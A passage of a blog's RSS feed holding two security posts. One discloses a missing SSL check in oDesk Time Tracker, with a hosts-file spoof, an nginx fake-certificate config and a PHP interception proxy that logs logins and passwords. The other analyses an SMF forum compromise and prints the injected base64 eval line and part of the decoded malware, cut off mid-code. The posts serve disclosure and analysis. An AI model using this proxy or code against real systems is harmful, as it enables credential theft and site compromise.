		<guid isPermaLink="false">http://blog.sjinks.pro/?p=581</guid>
		<description><![CDATA[When SSL is not enough oDesk Time Tracker does not verify the SSL certificate of the host it connects to thus becoming vulnerable to various Man-in-the-Middle attacks (if an attacker is able to spoof DNS for team.odesk.com — say, by setting up a fake DHCP and DNS servers in the local network — or posion the DNS [...]<hr/>
<p>© 2008–2010 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>

<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a
href="http://blog.sjinks.pro/security/581-odesk-time-tracker-vulnerabilities/">источник</a> <strong>обязательно</strong>.</p>]]></description>
			<content:encoded><![CDATA[<h2><em>When SSL is not enough</em></h2>
<ol>
<li><a href="http://blog.sjinks.pro/tag/odesk/" class="st_tag internal_tag" rel="tag" title="Posts tagged with oDesk">oDesk</a> Time Tracker does not verify the SSL certificate of the host it connects to thus becoming vulnerable to various <a href="http://en.wikipedia.org/wiki/Man-in-the-middle_attack">Man-in-the-Middle attacks</a> (if an attacker is able to spoof DNS for team.<a href="http://blog.sjinks.pro/tag/odesk/" class="st_tag internal_tag" rel="tag" title="Posts tagged with oDesk">odesk</a>.com — say, by setting up a fake DHCP and DNS servers in the local network — or posion the DNS cache or whatever — this is <a href="http://www.securesphere.net/download/papers/dnsspoof.htm">doable</a>).<span id="more-581"></span>
<p>To imitate the DNS spoofing we will need to edit <code>/etc/hosts</code> file:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p58125">
        <div class="code text" id="p581code25">
127.0.0.1 team.odesk.com
        </div>
    </div>
</div>

<p>And set up a virtual host for our local web server (which will act as a proxy between the Time Tracker and the <a href="http://blog.sjinks.pro/tag/odesk/" class="st_tag internal_tag" rel="tag" title="Posts tagged with oDesk">oDesk</a> server) — I used nginx:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p58126">
        <div class="code nginx" id="p581code26">
<span class="kw1">server</span> {<br />
&nbsp; &nbsp; <span class="kw1">listen</span> <span class="nu0">80</span>;<br />
&nbsp; &nbsp; <span class="kw1">server_name</span> team.odesk.com;<br />
<br />
&nbsp; &nbsp; <span class="kw1">access_log</span> &nbsp;/var/log/nginx/team.odesk.com-access.log;<br />
&nbsp; &nbsp; error_log &nbsp;/var/log/nginx/team.odesk.com-error.log;<br />
<br />
&nbsp; &nbsp; <span class="kw1">root</span> /var/www/team.odesk.com;<br />
<br />
&nbsp; &nbsp; <span class="kw1">try_files</span> junk @proxy;<br />
<br />
&nbsp; &nbsp; <span class="kw1">location</span> @proxy {<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">fastcgi_pass</span> 127.0.0.1:<span class="nu0">8000</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">fastcgi_index</span> <span class="kw1">index</span>.php;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">fastcgi_param</span> SCRIPT_FILENAME /var/www/team.odesk.com/<span class="kw1">index</span>.php;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">include</span> /etc/nginx/fastcgi_params;<br />
&nbsp; &nbsp; }<br />
}<br />
<br />
<span class="kw1">server</span> {<br />
&nbsp; &nbsp; <span class="kw1">listen</span> <span class="nu0">443</span>;<br />
&nbsp; &nbsp; <span class="kw1">keepalive_timeout</span> <span class="nu0">70</span>;<br />
<br />
&nbsp; &nbsp; <span class="kw1">server_name</span> &nbsp;default;<br />
&nbsp; &nbsp; <span class="kw1">access_log</span> &nbsp;/var/log/nginx/secure-team.odesk.com-access.log;<br />
&nbsp; &nbsp; error_log &nbsp;/var/log/nginx/secure-team.odesk.com-error.log;<br />
<br />
&nbsp; &nbsp; <span class="kw1">ssl</span> <span class="kw2">on</span>;<br />
&nbsp; &nbsp; <span class="kw1">ssl_certificate</span> /etc/nginx/certs/fake-cert.crt;<br />
&nbsp; &nbsp; <span class="kw1">ssl_certificate_key</span> /etc/nginx/certs/fake-cert.key;<br />
&nbsp; &nbsp; <span class="kw1">ssl_session_timeout</span> 5m;<br />
<br />
&nbsp; &nbsp; <span class="kw1">ssl_protocols</span> SSLv3 TLSv1;<br />
&nbsp; &nbsp; <span class="kw1">ssl_ciphers</span> HIGH:MEDIUM;<br />
&nbsp; &nbsp; <span class="kw1">ssl_prefer_server_ciphers</span> <span class="kw2">on</span>;<br />
&nbsp; &nbsp; <span class="kw1">ssl_session_cache</span> shared:SSL:10m;<br />
<br />
&nbsp; &nbsp; <span class="kw1">root</span> /var/www/team.odesk.com;<br />
<br />
&nbsp; &nbsp; <span class="kw1">try_files</span> junk @proxy;<br />
<br />
&nbsp; &nbsp; <span class="kw1">location</span> @proxy {<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">fastcgi_pass</span> 127.0.0.1:<span class="nu0">8000</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">fastcgi_index</span> <span class="kw1">index</span>.php;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">fastcgi_param</span> SCRIPT_FILENAME /var/www/team.odesk.com/<span class="kw1">index</span>.php;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">include</span> /etc/nginx/fastcgi_params;<br />
&nbsp; &nbsp; }<br />
}
        </div>
    </div>
</div>

<p>Nice PHP proxy that logs all communication between the client and server:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p58127">
        <div class="code php" id="p581code27">
<span class="kw2">&lt;?php</span><br />
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="kw4">false</span> <span class="sy0">==</span> <span class="kw1">empty</span><span class="br0">&#40;</span><span class="re0">$_POST</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$ch</span> <span class="sy0">=</span> <span class="kw3">curl_init</span><span class="br0">&#40;</span><span class="st_h">'https://209.128.65.132'</span> <span class="sy0">.</span> <span class="re0">$_SERVER</span><span class="br0">&#91;</span><span class="st_h">'REQUEST_URI'</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$data</span> <span class="sy0">=</span> <span class="re0">$_POST</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="kw4">false</span> <span class="sy0">==</span> <span class="kw1">empty</span><span class="br0">&#40;</span><span class="re0">$_FILES</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">foreach</span> <span class="br0">&#40;</span><span class="re0">$_FILES</span> <span class="kw1">as</span> <span class="re0">$key</span> <span class="sy0">=&gt;</span> <span class="re0">$item</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$data</span><span class="br0">&#91;</span><span class="re0">$key</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="st_h">'@'</span> <span class="sy0">.</span> <span class="re0">$item</span><span class="br0">&#91;</span><span class="st_h">'tmp_name'</span><span class="br0">&#93;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$f</span> <span class="sy0">=</span> <span class="kw3">fopen</span><span class="br0">&#40;</span><span class="kw3">dirname</span><span class="br0">&#40;</span><span class="kw4">__FILE__</span><span class="br0">&#41;</span> <span class="sy0">.</span> <span class="st_h">'/log.txt'</span><span class="sy0">,</span> <span class="st0">&quot;a&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">fwrite</span><span class="br0">&#40;</span><span class="re0">$f</span><span class="sy0">,</span> <span class="re0">$_SERVER</span><span class="br0">&#91;</span><span class="st_h">'REQUEST_URI'</span><span class="br0">&#93;</span> <span class="sy0">.</span> <span class="st0">&quot;<span class="es1">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">fwrite</span><span class="br0">&#40;</span><span class="re0">$f</span><span class="sy0">,</span> <span class="st0">&quot;&lt;&lt;&lt;<span class="es1">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">fwrite</span><span class="br0">&#40;</span><span class="re0">$f</span><span class="sy0">,</span> <span class="kw3">print_r</span><span class="br0">&#40;</span><span class="re0">$data</span><span class="sy0">,</span> 1<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">fwrite</span><span class="br0">&#40;</span><span class="re0">$f</span><span class="sy0">,</span> <span class="st0">&quot;&gt;&gt;&gt;<span class="es1">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">curl_setopt</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="sy0">,</span> CURLOPT_POST<span class="sy0">,</span> <span class="kw4">true</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">curl_setopt</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="sy0">,</span> CURLOPT_POSTFIELDS<span class="sy0">,</span> <span class="re0">$data</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">curl_setopt</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="sy0">,</span> CURLOPT_HTTPHEADER<span class="sy0">,</span> <span class="kw1">array</span><span class="br0">&#40;</span><span class="st_h">'Host: team.odesk.com'</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">curl_setopt</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="sy0">,</span> CURLOPT_RETURNTRANSFER<span class="sy0">,</span> <span class="kw4">true</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">curl_setopt</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="sy0">,</span> CURLOPT_HEADER<span class="sy0">,</span> <span class="kw4">false</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">curl_setopt</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="sy0">,</span> CURLOPT_SSL_VERIFYPEER<span class="sy0">,</span> <span class="kw4">false</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">curl_setopt</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="sy0">,</span> CURLOPT_SSL_VERIFYHOST<span class="sy0">,</span> <span class="kw4">false</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$s</span> <span class="sy0">=</span> <span class="kw3">curl_exec</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">curl_close</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">fwrite</span><span class="br0">&#40;</span><span class="re0">$f</span><span class="sy0">,</span> <span class="re0">$s</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">fwrite</span><span class="br0">&#40;</span><span class="re0">$f</span><span class="sy0">,</span> <span class="st0">&quot;---<span class="es1">\n</span><span class="es1">\n</span><span class="es1">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">fclose</span><span class="br0">&#40;</span><span class="re0">$f</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">print</span> <span class="re0">$s</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; <span class="kw1">else</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">print</span> <span class="st0">&quot;status=S_OK<span class="es1">\n</span>&quot;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">print</span> <span class="st0">&quot;Fraude perit virtus&quot;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
<span class="sy1">?&gt;</span>
        </div>
    </div>
</div>

<p>Thus, when a provider logs into his <a href="http://blog.sjinks.pro/tag/odesk/" class="st_tag internal_tag" rel="tag" title="Posts tagged with oDesk">oDesk</a> Account using the tracker, his session gets intercepted and all traffic can be logged:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p58128">
        <div class="code text" id="p581code28">
SERVER: https://209.128.65.132/client/receiver<br />
IN:<br />
Array<br />
(<br />
&nbsp; &nbsp; [version] =&gt; Linux/1.3.4<br />
&nbsp; &nbsp; [status] =&gt; C_NORMAL<br />
&nbsp; &nbsp; [company] =&gt; ics2:ics2<br />
&nbsp; &nbsp; [user] =&gt; vkolesnikov<br />
&nbsp; &nbsp; [password] =&gt; password_goes_here<br />
&nbsp; &nbsp; [uid] =&gt; 5f323dce-ee5c-4347-9074-ed5d356362d4<br />
&nbsp; &nbsp; [computer] =&gt; SJINKS<br />
&nbsp; &nbsp; [os] =&gt; Linux Ubuntu 9.04 (2.6.28-13-server)<br />
&nbsp; &nbsp; [snapint] =&gt; 600<br />
&nbsp; &nbsp; [trigger] =&gt; login<br />
&nbsp; &nbsp; [keyev] =&gt; 1<br />
&nbsp; &nbsp; [mousev] =&gt; 1<br />
&nbsp; &nbsp; [events_per_minute] =&gt; 1245070126,1,1<br />
&nbsp; &nbsp; [activewintitle] =&gt; client : mc<br />
&nbsp; &nbsp; [screensaveron] =&gt; false<br />
&nbsp; &nbsp; [memo] =&gt;.<br />
&nbsp; &nbsp; [task_id] =&gt;.<br />
&nbsp; &nbsp; [task_description] =&gt;.<br />
&nbsp; &nbsp; [screenshot_width] =&gt; 1680<br />
&nbsp; &nbsp; [screenshot_height] =&gt; 1050<br />
&nbsp; &nbsp; [timestamp] =&gt; 1245070127<br />
&nbsp; &nbsp; [screen] =&gt; @/tmp/phpqzwmeh<br />
)<br />
<br />
OUT:<br />
status=S_OK<br />
servertime=1245070127<br />
hiresdesktop=enable<br />
webcam=user<br />
period=600<br />
use_https=yes<br />
company_name=ICS<br />
first_name=Vladimir<br />
last_name=Kolesnikov<br />
tz=Europe/Athens<br />
company=ics2:ics2<br />
login=vkolesnikov<br />
companies=Sphere314,extrememember,ics2:ics2<br />
odeskmeter=0.67,0.67,74.17,16.75,16.75,1854.25<br />
task_integration_policy=1<br />
cache_size=120
        </div>
    </div>
</div>

And here comes the second vulnerability.</li>
<li>
Since the attacker is able to intercept the session, he would be able to intercept the login and password the provider used to log in (since they are transferred in clear text). And since <a href="http://blog.sjinks.pro/tag/odesk/" class="st_tag internal_tag" rel="tag" title="Posts tagged with oDesk">oDesk</a> Time Tracker login is the same as <a href="http://blog.sjinks.pro/tag/odesk/" class="st_tag internal_tag" rel="tag" title="Posts tagged with oDesk">odesk</a>.com login the attacker will be able to log in as the provider whose session he has intercepted/ With the help of social engineering it could be possible to find the answer to the secret question (actually it could be easier than to spoof the DNS); and if the provider is away, the attacker can make a withdrawal to his account.
</li>
</ol>
<p>The main issue is that <a href="http://blog.sjinks.pro/tag/odesk/" class="st_tag internal_tag" rel="tag" title="Posts tagged with oDesk">oDesk</a> Time Tracker does not verify the host it connects to — which makes these vulnerabilities possible. If SSL certificate verification is implemented, this will make attacker&#8217;s life more difficult. And to improve security of the <a href="http://blog.sjinks.pro/tag/odesk/" class="st_tag internal_tag" rel="tag" title="Posts tagged with oDesk">odesk</a>.com account the <a href="http://blog.sjinks.pro/tag/odesk/" class="st_tag internal_tag" rel="tag" title="Posts tagged with oDesk">oDesk</a> Time Tracker could send a hash of the password instead of the password itself. Provided that a strong and secure hash function is used, it will be nearly impossible to reverse the hash to get the original password. Then <a href="http://blog.sjinks.pro/tag/odesk/" class="st_tag internal_tag" rel="tag" title="Posts tagged with oDesk">oDesk</a> account is safe, and even if the <a href="http://blog.sjinks.pro/tag/odesk/" class="st_tag internal_tag" rel="tag" title="Posts tagged with oDesk">oDesk</a> Team session is intercepted, the attacker would be unable to do anything with provider&#8217;s account.</p>
<hr/>
<p>© 2008–2010 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>

<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a
href="http://blog.sjinks.pro/security/581-odesk-time-tracker-vulnerabilities/">источник</a> <strong>обязательно</strong>.</p>
	<h4>Связанные записи</h4>
	<ul class="st-related-posts">
	<li><a href="http://blog.sjinks.pro/security/9-security-they-talk-so-much-about/" title="Безопасность, о которой все так много говорят… (Март 11, 2008)">Безопасность, о которой все так много говорят…</a> (12)</li>
	<li><a href="http://blog.sjinks.pro/security/83-vulnerabilities-on-odesk/" title="Уязвимости oDesk (Апрель 10, 2008)">Уязвимости oDesk</a> (2)</li>
	<li><a href="http://blog.sjinks.pro/php/667-simple-dos-for-php/" title="Простой DoS для PHP (Октябрь 19, 2009)">Простой DoS для PHP</a> (3)</li>
	<li><a href="http://blog.sjinks.pro/windows/58-nginx-php-fastcgi-in-windows/" title="Настройка nginx и PHP/FastCGI в Windows (Март 28, 2008)">Настройка nginx и PHP/FastCGI в Windows</a> (41)</li>
	<li><a href="http://blog.sjinks.pro/security/361-minimizing-consequences-of-http-scans/" title="Минимизируем неприятные последствия HTTP-сканирования (Ноябрь 19, 2008)">Минимизируем неприятные последствия HTTP-сканирования</a> (24)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/security/581-odesk-time-tracker-vulnerabilities/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Уязвимость в форуме SMF</title>
		<link>http://blog.sjinks.pro/security/563-vulnerability-in-simple-machines-forum/</link>
		<comments>http://blog.sjinks.pro/security/563-vulnerability-in-simple-machines-forum/#comments</comments>
		<pubDate>Sat, 23 May 2009 18:13:48 +0000</pubDate>
		<dc:creator>Vladimir</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Безопасность]]></category>
		<category><![CDATA[SMF]]></category>
		<category><![CDATA[безопасность]]></category>
		<category><![CDATA[взлом]]></category>
		<category><![CDATA[уязвимость]]></category>

		<guid isPermaLink="false">http://blog.sjinks.pro/?p=563</guid>
		<description><![CDATA[Устраняем последствия В последнее время участились сообщения о взломах форумов, работающих на SMF (Simple Machines Forum), среди пострадавших оказался и форум русского сообщества Ubuntu. Но в чем именно проблема и чего бояться непонятно, информации было крайне мало. Сегодня появилась дополнительная информация. Данной уязвимости подвержены все версии форума, включая последнюю стабильную версию 1.1.8. Уязвимость существует в [...]<hr/>
<p>© 2008–2010 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>

<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a
href="http://blog.sjinks.pro/security/563-vulnerability-in-simple-machines-forum/">источник</a> <strong>обязательно</strong>.</p>]]></description>
			<content:encoded><![CDATA[<h2><em>Устраняем последствия</em></h2>
<blockquote cite="http://joomlaportal.ru/content/view/1752/70/">В последнее время участились сообщения о взломах форумов, работающих на <a href="http://blog.sjinks.pro/tag/smf/" class="st_tag internal_tag" rel="tag" title="Posts tagged with SMF">SMF</a> (Simple Machines Forum), среди пострадавших оказался и форум русского сообщества Ubuntu. Но в чем именно проблема и чего бояться непонятно, информации было крайне мало.
<p>Сегодня появилась дополнительная информация. Данной уязвимости подвержены все версии форума, включая последнюю стабильную версию 1.1.8. Уязвимость существует в функции масштабирования аватаров.</p></blockquote>
<p>Дополнительная информация <a href="http://joomlaportal.ru/content/view/1752/70/">здесь</a>.</p>
<p>Проявляется эта уязвимость следующим образом: во все PHP-файлы приписывается такая строка:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p56335">
        <div class="code php" id="p563code35">
<span class="kw2">&lt;?php</span> <span class="coMULTI">/**/</span><span class="kw1">eval</span><span class="br0">&#40;</span><span class="kw3">base64_decode</span><span class="br0">&#40;</span><span class="st_h">'aWYoZnVuY3R(поскипано)9fQ=='</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span> <span class="sy1">?&gt;</span>
        </div>
    </div>
</div>

<p>BASE64 декодируется в такой PHP-код (я отформатировал код, чтобы сделать его читаемым):</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p56336">
        <div class="code php" id="p563code36">
<span class="kw2">&lt;?php</span><br />
<span class="kw1">if</span><span class="br0">&#40;</span><span class="kw3">function_exists</span><span class="br0">&#40;</span><span class="st_h">'ob_start'</span><span class="br0">&#41;</span><span class="sy0">&amp;&amp;!</span><span class="kw1">isset</span><span class="br0">&#40;</span><span class="re0">$GLOBALS</span><span class="br0">&#91;</span><span class="st_h">'sh_no'</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; <span class="re0">$GLOBALS</span><span class="br0">&#91;</span><span class="st_h">'sh_no'</span><span class="br0">&#93;</span><span class="sy0">=</span><span class="nu0">1</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="kw3">file_exists</span><span class="br0">&#40;</span><span class="st_h">'.../style.css.php'</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">include_once</span><span class="br0">&#40;</span><span class="st_h">'.../style.css.php'</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="kw3">function_exists</span><span class="br0">&#40;</span><span class="st_h">'gml'</span><span class="br0">&#41;</span><span class="sy0">&amp;&amp;!</span><span class="kw3">function_exists</span><span class="br0">&#40;</span><span class="st_h">'dgobh'</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="sy0">!</span><span class="kw3">function_exists</span><span class="br0">&#40;</span><span class="st_h">'gzdecode'</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">function</span> gzdecode<span class="br0">&#40;</span><span class="re0">$d</span><span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$f</span><span class="sy0">=</span><span class="kw3">ord</span><span class="br0">&#40;</span><span class="kw3">substr</span><span class="br0">&#40;</span><span class="re0">$d</span><span class="sy0">,</span>3<span class="sy0">,</span>1<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$h</span><span class="sy0">=</span><span class="nu0">10</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$e</span><span class="sy0">=</span><span class="nu0">0</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$f</span><span class="sy0">&amp;</span>4<span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$e</span><span class="sy0">=</span><span class="kw3">unpack</span><span class="br0">&#40;</span><span class="st_h">'v'</span><span class="sy0">,</span><span class="kw3">substr</span><span class="br0">&#40;</span><span class="re0">$d</span><span class="sy0">,</span>10<span class="sy0">,</span>2<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$e</span><span class="sy0">=</span><span class="re0">$e</span><span class="br0">&#91;</span>1<span class="br0">&#93;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$h</span><span class="sy0">+=</span>2<span class="sy0">+</span><span class="re0">$e</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$f</span><span class="sy0">&amp;</span>8<span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$h</span><span class="sy0">=</span><span class="kw3">strpos</span><span class="br0">&#40;</span><span class="re0">$d</span><span class="sy0">,</span><span class="kw3">chr</span><span class="br0">&#40;</span>0<span class="br0">&#41;</span><span class="sy0">,</span><span class="re0">$h</span><span class="br0">&#41;</span><span class="sy0">+</span><span class="nu0">1</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$f</span><span class="sy0">&amp;</span>16<span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$h</span><span class="sy0">=</span><span class="kw3">strpos</span><span class="br0">&#40;</span><span class="re0">$d</span><span class="sy0">,</span><span class="kw3">chr</span><span class="br0">&#40;</span>0<span class="br0">&#41;</span><span class="sy0">,</span><span class="re0">$h</span><span class="br0">&#41;</span><span class="sy0">+</span><span class="nu0">1</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$f</span><span class="sy0">&amp;</span>2<span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$h</span><span class="sy0">+=</span><span class="nu0">2</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$u</span><span class="sy0">=</span><span class="kw3">gzinflate</span><span class="br0">&#40;</span><span class="kw3">substr</span><span class="br0">&#40;</span><span class="re0">$d</span><span class="sy0">,</span><span class="re0">$h</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$u</span><span class="sy0">===</span><span class="kw4">FALSE</span><span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$u</span><span class="sy0">=</span><span class="re0">$d</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
